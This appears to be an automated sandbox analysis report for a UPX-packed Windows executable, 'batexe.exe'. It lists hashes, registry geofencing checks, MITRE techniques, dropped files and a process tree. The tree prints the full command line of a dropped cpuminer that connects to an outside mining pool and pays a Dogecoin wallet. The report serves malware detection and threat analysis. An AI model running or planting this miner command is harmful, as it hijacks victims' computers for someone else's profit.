73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
308s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 06:51

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3656	b2e.exe
2368	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2368	cpuminer-sse2.exe
2368	cpuminer-sse2.exe
2368	cpuminer-sse2.exe
2368	cpuminer-sse2.exe
2368	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2128-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 3656	2128	batexe.exe	85
PID 2128 wrote to memory of 3656	2128	batexe.exe	85
PID 2128 wrote to memory of 3656	2128	batexe.exe	85
PID 3656 wrote to memory of 4020	3656	b2e.exe	86
PID 3656 wrote to memory of 4020	3656	b2e.exe	86
PID 3656 wrote to memory of 4020	3656	b2e.exe	86
PID 4020 wrote to memory of 2368	4020	cmd.exe	89
PID 4020 wrote to memory of 2368	4020	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Users\Admin\AppData\Local\Temp\3E5C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\3E5C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\3E5C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\48BC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4020
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\3E5C.tmp\b2e.exe

Filesize
2.6MB

MD5
a5e5df886b731a106be5ffdd55d5eba6

SHA1
49f0ee9c3161b956d8752bd7c4c5351bd2dc0fe6

SHA256
39d92aa54aff7dc78100a84d70011578f98cc2bc56d73853a24a1b39d77c26e7

SHA512
105723e9e49510157b696057447d2278e9bde945c3ab9882a6d364a2406b7080370e05849909f24bcd79f3ea6ec13fa100364d11a150f3b5a708e8762d49817f

Download Submit
C:\Users\Admin\AppData\Local\Temp\3E5C.tmp\b2e.exe

Filesize
4.4MB

MD5
1228a1e8ceec74bff609f66b91044bc0

SHA1
94757bf99fbc301dd429ed9c55395cd4158bdcf7

SHA256
4541c7951c36aed4f5dedc38f0ce011bf43e1548bc69b82100b375be70e68930

SHA512
88d2ef99376d6879d6d4104d95bb6509280db203bf2af252b23ca96778c5387646d184384f061a9103f0395d515f5cf09b3ab41aa848942f9a793d66b9dc8d51

Download Submit
C:\Users\Admin\AppData\Local\Temp\3E5C.tmp\b2e.exe

Filesize
3.3MB

MD5
9a4c485d07b081b8502eb1e824ba958c

SHA1
f3eef26cbc16f770e3553db785c2772ebacb6ff8

SHA256
d716817ef05abacc2ce78bcd055e7056fa6d04cd7ec3cf2825b4ea692ee3bc4a

SHA512
edff82993492d5d5af6341b8a5b33c53614c36af8a16838d695f5f97f3766889e979062a82266e71ffd66c6d8a09a3a3452904e60f0b60bfd539ce229a7e3eab

Download Submit
C:\Users\Admin\AppData\Local\Temp\48BC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
19e10a3b9ec52b21113a085f5bd893ab

SHA1
2c9d1175664bcb47e5e894d6c96c2163a59a459f

SHA256
467061a6db62f1514b94b9cbc84e6082f4c27316c2f4cda6aabbc27ad45551c9

SHA512
51824bb18742944d8013a75f70db74955880052188cb7a165336f3b136eecbd9b7735d45009884b20611c33686497f8d6432974691ccd0d15441843fe5fc7a76

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
812KB

MD5
4b0de7deb8b7a30fbeb27f8cde2faebf

SHA1
a3d7a2e32a72b451634ca25c4ab98d1ce430e580

SHA256
237f43222d30a24bc861f02870bafe33098ff57b7d12c9e28cf7d8caf3eb91ca

SHA512
3ef54889e701295522ab7a3864b9636adae51beb79b936bf2261ef2ed975d2f0a0c28be5e73bf6708219fa141c085493c773b88a4cce4126aecb271bb49debbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
701KB

MD5
f3e60413db45782a04372465be46c16b

SHA1
38809d1abe31081e67e21fbda0a880252c55fdc0

SHA256
acff22931ebb859f1732ff2bc4ea23f00e546bcfa5e9cc77bae6e9bef95498ca

SHA512
be26d9ec4b323a232d5e1b99f12a4e1ab1443958fa91dd2671ca4c3f072cab65945dbad27feee2cc7643e82e94fb79db669140437ce8da54d7b9d4b1f21e50a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
64KB

MD5
7fcedb6e973c5df3b6652a2afafa6a13

SHA1
116728803559ab58a8127544df80b75a0dd1c6d2

SHA256
fd7191afdecd35b78a0c0ca0457cbbf42ffda1e52263cd785abca5f047b18825

SHA512
05c86bf84079a2cc13dc7a1a917a0839ccd2b18e0440c4bd419c99f65c4161ac69a9447f56bdf6051b2fbbc49b7556fc3717432d0e293dfae2921c0701fe64fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
631KB

MD5
5583ded2e9e0d58e73471d9a0466538a

SHA1
af849a71e3ffbbb801a7c676b520f155935d1102

SHA256
cf5f6e5b7aa9005049e77af884137645b66af91905056de9b5f65227b194b41d

SHA512
80b504bad4bbc38e51dfc9ef324988ee734d91b0bc24f601a0547ed68238e54833e0f073fc87ee17a8de28e82b52199089c1147358802cc352d0f7876acb1536

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
862KB

MD5
a44b10f071ae79729a559eb39e9137ff

SHA1
071b377369e10b6609491a5200527f5c309520bc

SHA256
bcafc86e298bf420ae589eb4ec9efce8b2189e402b7a525f9956136f0cdd3fa4

SHA512
7d6fc180f91251a24dc4bc6e94d2ca5cf89f800a4c274111849b68cd4df482dd8dbad7e5701b4cb382fd71e0d33232ff02a1ca42a93b15d9f2159fb959d2357b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
657KB

MD5
2e43f2c6fe87d2aa69bee5474d03a65b

SHA1
b59c375a941e21ded87caed3ffd07cd42ea1e742

SHA256
15b00efff7e9525ad4e75875025a0394da3eb013a455f471a54e7472e4703d8b

SHA512
0bf9009076672796e13d3689161d693268ec304a9648fe1ce14d169d92559a2292c3c967818fb16b7465b911a8c9301d3e1eca94ab32aaae5f58be187da81886

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
765KB

MD5
9beeb2b8a9174473899d738d589b842d

SHA1
30060ad4a42ff5b13ad3b388e1333ada4ee579e4

SHA256
eafdd0d6e16210d4024ac4d622c0c7c98eb7e88704f026a9dda1697e7d5d4ea2

SHA512
7526e46a5d5fd86369181d1c591c9dfcd8a7ae7179145c526323b3f0d5bb0d449d36c509435aba6660b9b7cacffa647d0c6ca93296d5b96666fd79627e81c789

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2128-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2368-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2368-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2368-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2368-45-0x0000000065FD0000-0x0000000066068000-memory.dmp

Filesize
608KB

Download
memory/2368-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2368-47-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/2368-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2368-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2368-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2368-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2368-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2368-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2368-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3656-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3656-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download